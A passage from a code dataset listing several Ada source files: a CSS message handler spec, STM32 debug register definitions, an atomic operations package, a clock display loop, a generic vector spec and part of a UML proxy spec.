repo_name
stringlengths 9
74
| language
stringclasses 1
value | length_bytes
int64 11
9.34M
| extension
stringclasses 2
values | content
stringlengths 11
9.34M
|
---|---|---|---|---|
stcarrez/ada-css | Ada | 3,610 | ads | -----------------------------------------------------------------------
-- css-tools-messages -- CSS tools messages
-- Copyright (C) 2017 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Finalization;
with CSS.Core.Errors;
private with Util.Log.Locations;
private with Ada.Containers.Ordered_Maps;
package CSS.Tools.Messages is
-- The message severity.
type Severity_Type is (MSG_ERROR, MSG_WARNING, MSG_INFO);
-- The list of messages for each source location.
type Message_List is limited new Ada.Finalization.Limited_Controlled
and CSS.Core.Errors.Error_Handler with private;
-- Report an error message at the given CSS source position.
overriding
procedure Error (Handler : in out Message_List;
Loc : in CSS.Core.Location;
Message : in String);
-- Report a warning message at the given CSS source position.
overriding
procedure Warning (Handler : in out Message_List;
Loc : in CSS.Core.Location;
Message : in String);
-- Get the number of errors collected.
function Get_Error_Count (Handler : in Message_List) return Natural;
-- Get the number of warnings collected.
function Get_Warning_Count (Handler : in Message_List) return Natural;
-- Iterate over the list of message in the line order.
procedure Iterate (List : in Message_List;
Process : not null access procedure (Severity : in Severity_Type;
Loc : in CSS.Core.Location;
Message : in String));
private
type Message_Type;
type Message_Type_Access is access Message_Type;
type Message_Type (Len : Natural) is limited record
Next : Message_Type_Access;
Kind : Severity_Type := MSG_ERROR;
Message : String (1 .. Len);
end record;
package Message_Sets is
new Ada.Containers.Ordered_Maps (Key_Type => CSS.Core.Location,
Element_Type => Message_Type_Access,
"<" => Util.Log.Locations."<",
"=" => "=");
-- The message list is a ordered map of message list. The map is sorted on the
-- line number.
type Message_List is limited new Ada.Finalization.Limited_Controlled
and CSS.Core.Errors.Error_Handler with record
List : Message_Sets.Map;
Error_Count : Natural := 0;
Warning_Count : Natural := 0;
end record;
-- Add a message for the given source location.
procedure Add (Handler : in out Message_List;
Loc : in CSS.Core.Location;
Message : in Message_Type_Access);
-- Release the list of messages.
overriding
procedure Finalize (List : in out Message_List);
end CSS.Tools.Messages;
|
tum-ei-rcs/StratoX | Ada | 6,938 | ads | -- This spec has been automatically generated from STM32F429x.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
with HAL;
with System;
package STM32_SVD.DBG is
pragma Preelaborate;
---------------
-- Registers --
---------------
----------------------------
-- DBGMCU_IDCODE_Register --
----------------------------
subtype DBGMCU_IDCODE_DEV_ID_Field is HAL.UInt12;
subtype DBGMCU_IDCODE_REV_ID_Field is HAL.Short;
-- IDCODE
type DBGMCU_IDCODE_Register is record
-- Read-only. DEV_ID
DEV_ID : DBGMCU_IDCODE_DEV_ID_Field;
-- unspecified
Reserved_12_15 : HAL.UInt4;
-- Read-only. REV_ID
REV_ID : DBGMCU_IDCODE_REV_ID_Field;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DBGMCU_IDCODE_Register use record
DEV_ID at 0 range 0 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
REV_ID at 0 range 16 .. 31;
end record;
------------------------
-- DBGMCU_CR_Register --
------------------------
subtype DBGMCU_CR_TRACE_MODE_Field is HAL.UInt2;
-- Control Register
type DBGMCU_CR_Register is record
-- DBG_SLEEP
DBG_SLEEP : Boolean := False;
-- DBG_STOP
DBG_STOP : Boolean := False;
-- DBG_STANDBY
DBG_STANDBY : Boolean := False;
-- unspecified
Reserved_3_4 : HAL.UInt2 := 16#0#;
-- TRACE_IOEN
TRACE_IOEN : Boolean := False;
-- TRACE_MODE
TRACE_MODE : DBGMCU_CR_TRACE_MODE_Field := 16#0#;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DBGMCU_CR_Register use record
DBG_SLEEP at 0 range 0 .. 0;
DBG_STOP at 0 range 1 .. 1;
DBG_STANDBY at 0 range 2 .. 2;
Reserved_3_4 at 0 range 3 .. 4;
TRACE_IOEN at 0 range 5 .. 5;
TRACE_MODE at 0 range 6 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-----------------------------
-- DBGMCU_APB1_FZ_Register --
-----------------------------
-- Debug MCU APB1 Freeze registe
type DBGMCU_APB1_FZ_Register is record
-- DBG_TIM2_STOP
DBG_TIM2_STOP : Boolean := False;
-- DBG_TIM3 _STOP
DBG_TIM3_STOP : Boolean := False;
-- DBG_TIM4_STOP
DBG_TIM4_STOP : Boolean := False;
-- DBG_TIM5_STOP
DBG_TIM5_STOP : Boolean := False;
-- DBG_TIM6_STOP
DBG_TIM6_STOP : Boolean := False;
-- DBG_TIM7_STOP
DBG_TIM7_STOP : Boolean := False;
-- DBG_TIM12_STOP
DBG_TIM12_STOP : Boolean := False;
-- DBG_TIM13_STOP
DBG_TIM13_STOP : Boolean := False;
-- DBG_TIM14_STOP
DBG_TIM14_STOP : Boolean := False;
-- unspecified
Reserved_9_10 : HAL.UInt2 := 16#0#;
-- DBG_WWDG_STOP
DBG_WWDG_STOP : Boolean := False;
-- DBG_IWDEG_STOP
DBG_IWDEG_STOP : Boolean := False;
-- unspecified
Reserved_13_20 : HAL.Byte := 16#0#;
-- DBG_J2C1_SMBUS_TIMEOUT
DBG_J2C1_SMBUS_TIMEOUT : Boolean := False;
-- DBG_J2C2_SMBUS_TIMEOUT
DBG_J2C2_SMBUS_TIMEOUT : Boolean := False;
-- DBG_J2C3SMBUS_TIMEOUT
DBG_J2C3SMBUS_TIMEOUT : Boolean := False;
-- unspecified
Reserved_24_24 : HAL.Bit := 16#0#;
-- DBG_CAN1_STOP
DBG_CAN1_STOP : Boolean := False;
-- DBG_CAN2_STOP
DBG_CAN2_STOP : Boolean := False;
-- unspecified
Reserved_27_31 : HAL.UInt5 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DBGMCU_APB1_FZ_Register use record
DBG_TIM2_STOP at 0 range 0 .. 0;
DBG_TIM3_STOP at 0 range 1 .. 1;
DBG_TIM4_STOP at 0 range 2 .. 2;
DBG_TIM5_STOP at 0 range 3 .. 3;
DBG_TIM6_STOP at 0 range 4 .. 4;
DBG_TIM7_STOP at 0 range 5 .. 5;
DBG_TIM12_STOP at 0 range 6 .. 6;
DBG_TIM13_STOP at 0 range 7 .. 7;
DBG_TIM14_STOP at 0 range 8 .. 8;
Reserved_9_10 at 0 range 9 .. 10;
DBG_WWDG_STOP at 0 range 11 .. 11;
DBG_IWDEG_STOP at 0 range 12 .. 12;
Reserved_13_20 at 0 range 13 .. 20;
DBG_J2C1_SMBUS_TIMEOUT at 0 range 21 .. 21;
DBG_J2C2_SMBUS_TIMEOUT at 0 range 22 .. 22;
DBG_J2C3SMBUS_TIMEOUT at 0 range 23 .. 23;
Reserved_24_24 at 0 range 24 .. 24;
DBG_CAN1_STOP at 0 range 25 .. 25;
DBG_CAN2_STOP at 0 range 26 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
-----------------------------
-- DBGMCU_APB2_FZ_Register --
-----------------------------
-- Debug MCU APB2 Freeze registe
type DBGMCU_APB2_FZ_Register is record
-- TIM1 counter stopped when core is halted
DBG_TIM1_STOP : Boolean := False;
-- TIM8 counter stopped when core is halted
DBG_TIM8_STOP : Boolean := False;
-- unspecified
Reserved_2_15 : HAL.UInt14 := 16#0#;
-- TIM9 counter stopped when core is halted
DBG_TIM9_STOP : Boolean := False;
-- TIM10 counter stopped when core is halted
DBG_TIM10_STOP : Boolean := False;
-- TIM11 counter stopped when core is halted
DBG_TIM11_STOP : Boolean := False;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DBGMCU_APB2_FZ_Register use record
DBG_TIM1_STOP at 0 range 0 .. 0;
DBG_TIM8_STOP at 0 range 1 .. 1;
Reserved_2_15 at 0 range 2 .. 15;
DBG_TIM9_STOP at 0 range 16 .. 16;
DBG_TIM10_STOP at 0 range 17 .. 17;
DBG_TIM11_STOP at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Debug support
type DBG_Peripheral is record
-- IDCODE
DBGMCU_IDCODE : DBGMCU_IDCODE_Register;
-- Control Register
DBGMCU_CR : DBGMCU_CR_Register;
-- Debug MCU APB1 Freeze registe
DBGMCU_APB1_FZ : DBGMCU_APB1_FZ_Register;
-- Debug MCU APB2 Freeze registe
DBGMCU_APB2_FZ : DBGMCU_APB2_FZ_Register;
end record
with Volatile;
for DBG_Peripheral use record
DBGMCU_IDCODE at 0 range 0 .. 31;
DBGMCU_CR at 4 range 0 .. 31;
DBGMCU_APB1_FZ at 8 range 0 .. 31;
DBGMCU_APB2_FZ at 12 range 0 .. 31;
end record;
-- Debug support
DBG_Periph : aliased DBG_Peripheral
with Import, Address => DBG_Base;
end STM32_SVD.DBG;
|
dkm/atomic | Ada | 14,888 | adb | with Atomic.Critical_Section; use Atomic.Critical_Section;
with System;
package body Atomic.Unsigned
with SPARK_Mode => Off
is
----------
-- Load --
----------
function Load
(This : aliased Instance;
Order : Mem_Order := Seq_Cst)
return T
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
Result : T;
begin
Critical_Section.Enter (State);
Result := Vola;
Critical_Section.Leave (State);
return Result;
end Load;
-----------
-- Store --
-----------
procedure Store
(This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Val;
Critical_Section.Leave (State);
end Store;
---------
-- Add --
---------
procedure Add (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Vola + Val;
Critical_Section.Leave (State);
end Add;
---------
-- Sub --
---------
procedure Sub (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Vola - Val;
Critical_Section.Leave (State);
end Sub;
------------
-- Op_And --
------------
procedure Op_And (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Vola and Val;
Critical_Section.Leave (State);
end Op_And;
------------
-- Op_XOR --
------------
procedure Op_XOR (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Vola xor Val;
Critical_Section.Leave (State);
end Op_XOR;
-----------
-- Op_OR --
-----------
procedure Op_OR (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := Vola or Val;
Critical_Section.Leave (State);
end Op_OR;
----------
-- NAND --
----------
procedure NAND (This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Vola := not (Vola and Val);
Critical_Section.Leave (State);
end NAND;
-- SPARK compatible --
--------------
-- Exchange --
--------------
procedure Exchange (This : aliased in out Instance;
Val : T;
Old : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Old := Vola;
Vola := Val;
Critical_Section.Leave (State);
end Exchange;
----------------------
-- Compare_Exchange --
----------------------
procedure Compare_Exchange (This : aliased in out Instance;
Expected : T;
Desired : T;
Weak : Boolean;
Success : out Boolean;
Success_Order : Mem_Order := Seq_Cst;
Failure_Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
if Vola = Expected then
Vola := Desired;
Success := True;
else
Success := False;
end if;
Critical_Section.Leave (State);
end Compare_Exchange;
---------------
-- Add_Fetch --
---------------
procedure Add_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola + Val;
Vola := Result;
Critical_Section.Leave (State);
end Add_Fetch;
---------------
-- Sub_Fetch --
---------------
procedure Sub_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola - Val;
Vola := Result;
Critical_Section.Leave (State);
end Sub_Fetch;
---------------
-- And_Fetch --
---------------
procedure And_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola and Val;
Vola := Result;
Critical_Section.Leave (State);
end And_Fetch;
---------------
-- XOR_Fetch --
---------------
procedure XOR_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola xor Val;
Vola := Result;
Critical_Section.Leave (State);
end XOR_Fetch;
--------------
-- OR_Fetch --
--------------
procedure OR_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola or Val;
Vola := Result;
Critical_Section.Leave (State);
end OR_Fetch;
----------------
-- NAND_Fetch --
----------------
procedure NAND_Fetch (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := not (Vola and Val);
Vola := Result;
Critical_Section.Leave (State);
end NAND_Fetch;
---------------
-- Fetch_Add --
---------------
procedure Fetch_Add (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := Vola + Val;
Critical_Section.Leave (State);
end Fetch_Add;
---------------
-- Fetch_Sub --
---------------
procedure Fetch_Sub (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := Vola - Val;
Critical_Section.Leave (State);
end Fetch_Sub;
---------------
-- Fetch_And --
---------------
procedure Fetch_And (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := Vola and Val;
Critical_Section.Leave (State);
end Fetch_And;
---------------
-- Fetch_XOR --
---------------
procedure Fetch_XOR (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := Vola xor Val;
Critical_Section.Leave (State);
end Fetch_XOR;
--------------
-- Fetch_OR --
--------------
procedure Fetch_OR (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := Vola or Val;
Critical_Section.Leave (State);
end Fetch_OR;
----------------
-- Fetch_NAND --
----------------
procedure Fetch_NAND (This : aliased in out Instance;
Val : T;
Result : out T;
Order : Mem_Order := Seq_Cst)
is
Vola : T with Volatile, Address => This'Address;
State : Interrupt_State;
begin
Critical_Section.Enter (State);
Result := Vola;
Vola := not (Vola and Val);
Critical_Section.Leave (State);
end Fetch_NAND;
-- NOT SPARK Compatible --
--------------
-- Exchange --
--------------
function Exchange
(This : aliased in out Instance;
Val : T;
Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Exchange (This, Val, Result, Order);
return Result;
end Exchange;
----------------------
-- Compare_Exchange --
----------------------
function Compare_Exchange
(This : aliased in out Instance;
Expected : T;
Desired : T;
Weak : Boolean;
Success_Order : Mem_Order := Seq_Cst;
Failure_Order : Mem_Order := Seq_Cst)
return Boolean
is
Result : Boolean;
begin
Compare_Exchange (This, Expected, Desired, Weak, Result, Success_Order,
Failure_Order);
return Result;
end Compare_Exchange;
---------------
-- Add_Fetch --
---------------
function Add_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Add_Fetch (This, Val, Result, Order);
return Result;
end Add_Fetch;
---------------
-- Sub_Fetch --
---------------
function Sub_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Sub_Fetch (This, Val, Result, Order);
return Result;
end Sub_Fetch;
---------------
-- And_Fetch --
---------------
function And_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
And_Fetch (This, Val, Result, Order);
return Result;
end And_Fetch;
---------------
-- XOR_Fetch --
---------------
function XOR_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
XOR_Fetch (This, Val, Result, Order);
return Result;
end XOR_Fetch;
--------------
-- OR_Fetch --
--------------
function OR_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
OR_Fetch (This, Val, Result, Order);
return Result;
end OR_Fetch;
----------------
-- NAND_Fetch --
----------------
function NAND_Fetch
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
NAND_Fetch (This, Val, Result, Order);
return Result;
end NAND_Fetch;
---------------
-- Fetch_Add --
---------------
function Fetch_Add
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_Add (This, Val, Result, Order);
return Result;
end Fetch_Add;
---------------
-- Fetch_Sub --
---------------
function Fetch_Sub
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_Sub (This, Val, Result, Order);
return Result;
end Fetch_Sub;
---------------
-- Fetch_And --
---------------
function Fetch_And
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_And (This, Val, Result, Order);
return Result;
end Fetch_And;
---------------
-- Fetch_XOR --
---------------
function Fetch_XOR
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_XOR (This, Val, Result, Order);
return Result;
end Fetch_XOR;
--------------
-- Fetch_OR --
--------------
function Fetch_OR
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_OR (This, Val, Result, Order);
return Result;
end Fetch_OR;
----------------
-- Fetch_NAND --
----------------
function Fetch_NAND
(This : aliased in out Instance; Val : T; Order : Mem_Order := Seq_Cst)
return T
is
Result : T;
begin
Fetch_NAND (This, Val, Result, Order);
return Result;
end Fetch_NAND;
end Atomic.Unsigned;
|
stcarrez/stm32-ui | Ada | 2,054 | adb | -----------------------------------------------------------------------
-- clock-main -- Display a 12 hour clock
-- Copyright (C) 2018 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Real_Time;
with STM32.Board;
with HAL.Bitmap;
with UI.Displays;
with Clock.Display.Instances;
-- The main clock task initializes the board and display and loops to wait
-- for a display timeout or user touch event.
procedure Clock.Main is
use type Ada.Real_Time.Time;
use type Ada.Real_Time.Time_Span;
begin
-- Initialize the display and draw the main/fixed frames in both buffers.
UI.Displays.Initialize;
UI.Displays.Push_Display (Clock.Display.Instances.Display'Access);
-- Loop to wait for events and refresh the display.
loop
declare
Now : constant Ada.Real_Time.Time := Ada.Real_Time.Clock;
Buffer : constant HAL.Bitmap.Any_Bitmap_Buffer := STM32.Board.Display.Hidden_Buffer (1);
Display : UI.Displays.Display_Access := UI.Displays.Current_Display;
begin
Display.Process_Event (Buffer.all, Now);
-- Refresh the display only when it needs.
Display := UI.Displays.Current_Display;
if Display.Need_Refresh (Now) then
Display.Refresh (Buffer.all);
end if;
delay until Now + Ada.Real_Time.Milliseconds (100);
end;
end loop;
end Clock.Main;
|
AdaCore/libadalang | Ada | 455 | ads | generic
type Element_T is private;
package Vector is
type Vector is tagged null record;
function Create return Vector;
function Element (Self : Vector; Index : Integer) return Element_T;
procedure Append (Self : Vector; Element: Element_T);
function Append (Self : Vector; Element: Element_T) return Integer;
generic
with function "<" (L, R : Element_T) return Boolean;
procedure Sort (Self : in out Vector);
end Vector;
|
reznikmm/matreshka | Ada | 12,052 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2011-2012, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with AMF.Internals.UML_Named_Elements;
with AMF.UML.Behavior_Execution_Specifications;
with AMF.UML.Behaviors;
with AMF.UML.Dependencies.Collections;
with AMF.UML.General_Orderings.Collections;
with AMF.UML.Interaction_Operands;
with AMF.UML.Interactions;
with AMF.UML.Lifelines.Collections;
with AMF.UML.Named_Elements;
with AMF.UML.Namespaces;
with AMF.UML.Occurrence_Specifications;
with AMF.UML.Packages.Collections;
with AMF.UML.String_Expressions;
with AMF.Visitors;
package AMF.Internals.UML_Behavior_Execution_Specifications is
type UML_Behavior_Execution_Specification_Proxy is
limited new AMF.Internals.UML_Named_Elements.UML_Named_Element_Proxy
and AMF.UML.Behavior_Execution_Specifications.UML_Behavior_Execution_Specification with null record;
overriding function Get_Behavior
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Behaviors.UML_Behavior_Access;
-- Getter of BehaviorExecutionSpecification::behavior.
--
-- Behavior whose execution is occurring.
overriding procedure Set_Behavior
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.Behaviors.UML_Behavior_Access);
-- Setter of BehaviorExecutionSpecification::behavior.
--
-- Behavior whose execution is occurring.
overriding function Get_Finish
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Occurrence_Specifications.UML_Occurrence_Specification_Access;
-- Getter of ExecutionSpecification::finish.
--
-- References the OccurrenceSpecification that designates the finish of
-- the Action or Behavior.
overriding procedure Set_Finish
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.Occurrence_Specifications.UML_Occurrence_Specification_Access);
-- Setter of ExecutionSpecification::finish.
--
-- References the OccurrenceSpecification that designates the finish of
-- the Action or Behavior.
overriding function Get_Start
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Occurrence_Specifications.UML_Occurrence_Specification_Access;
-- Getter of ExecutionSpecification::start.
--
-- References the OccurrenceSpecification that designates the start of the
-- Action or Behavior
overriding procedure Set_Start
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.Occurrence_Specifications.UML_Occurrence_Specification_Access);
-- Setter of ExecutionSpecification::start.
--
-- References the OccurrenceSpecification that designates the start of the
-- Action or Behavior
overriding function Get_Covered
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Lifelines.Collections.Set_Of_UML_Lifeline;
-- Getter of InteractionFragment::covered.
--
-- References the Lifelines that the InteractionFragment involves.
overriding function Get_Enclosing_Interaction
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Interactions.UML_Interaction_Access;
-- Getter of InteractionFragment::enclosingInteraction.
--
-- The Interaction enclosing this InteractionFragment.
overriding procedure Set_Enclosing_Interaction
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.Interactions.UML_Interaction_Access);
-- Setter of InteractionFragment::enclosingInteraction.
--
-- The Interaction enclosing this InteractionFragment.
overriding function Get_Enclosing_Operand
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Interaction_Operands.UML_Interaction_Operand_Access;
-- Getter of InteractionFragment::enclosingOperand.
--
-- The operand enclosing this InteractionFragment (they may nest
-- recursively)
overriding procedure Set_Enclosing_Operand
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.Interaction_Operands.UML_Interaction_Operand_Access);
-- Setter of InteractionFragment::enclosingOperand.
--
-- The operand enclosing this InteractionFragment (they may nest
-- recursively)
overriding function Get_General_Ordering
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.General_Orderings.Collections.Set_Of_UML_General_Ordering;
-- Getter of InteractionFragment::generalOrdering.
--
-- The general ordering relationships contained in this fragment.
overriding function Get_Client_Dependency
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Dependencies.Collections.Set_Of_UML_Dependency;
-- Getter of NamedElement::clientDependency.
--
-- Indicates the dependencies that reference the client.
overriding function Get_Name_Expression
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.String_Expressions.UML_String_Expression_Access;
-- Getter of NamedElement::nameExpression.
--
-- The string expression used to define the name of this named element.
overriding procedure Set_Name_Expression
(Self : not null access UML_Behavior_Execution_Specification_Proxy;
To : AMF.UML.String_Expressions.UML_String_Expression_Access);
-- Setter of NamedElement::nameExpression.
--
-- The string expression used to define the name of this named element.
overriding function Get_Namespace
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Namespaces.UML_Namespace_Access;
-- Getter of NamedElement::namespace.
--
-- Specifies the namespace that owns the NamedElement.
overriding function Get_Qualified_Name
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.Optional_String;
-- Getter of NamedElement::qualifiedName.
--
-- A name which allows the NamedElement to be identified within a
-- hierarchy of nested Namespaces. It is constructed from the names of the
-- containing namespaces starting at the root of the hierarchy and ending
-- with the name of the NamedElement itself.
overriding function All_Owning_Packages
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Packages.Collections.Set_Of_UML_Package;
-- Operation NamedElement::allOwningPackages.
--
-- The query allOwningPackages() returns all the directly or indirectly
-- owning packages.
overriding function Is_Distinguishable_From
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy;
N : AMF.UML.Named_Elements.UML_Named_Element_Access;
Ns : AMF.UML.Namespaces.UML_Namespace_Access)
return Boolean;
-- Operation NamedElement::isDistinguishableFrom.
--
-- The query isDistinguishableFrom() determines whether two NamedElements
-- may logically co-exist within a Namespace. By default, two named
-- elements are distinguishable if (a) they have unrelated types or (b)
-- they have related types but different names.
overriding function Namespace
(Self : not null access constant UML_Behavior_Execution_Specification_Proxy)
return AMF.UML.Namespaces.UML_Namespace_Access;
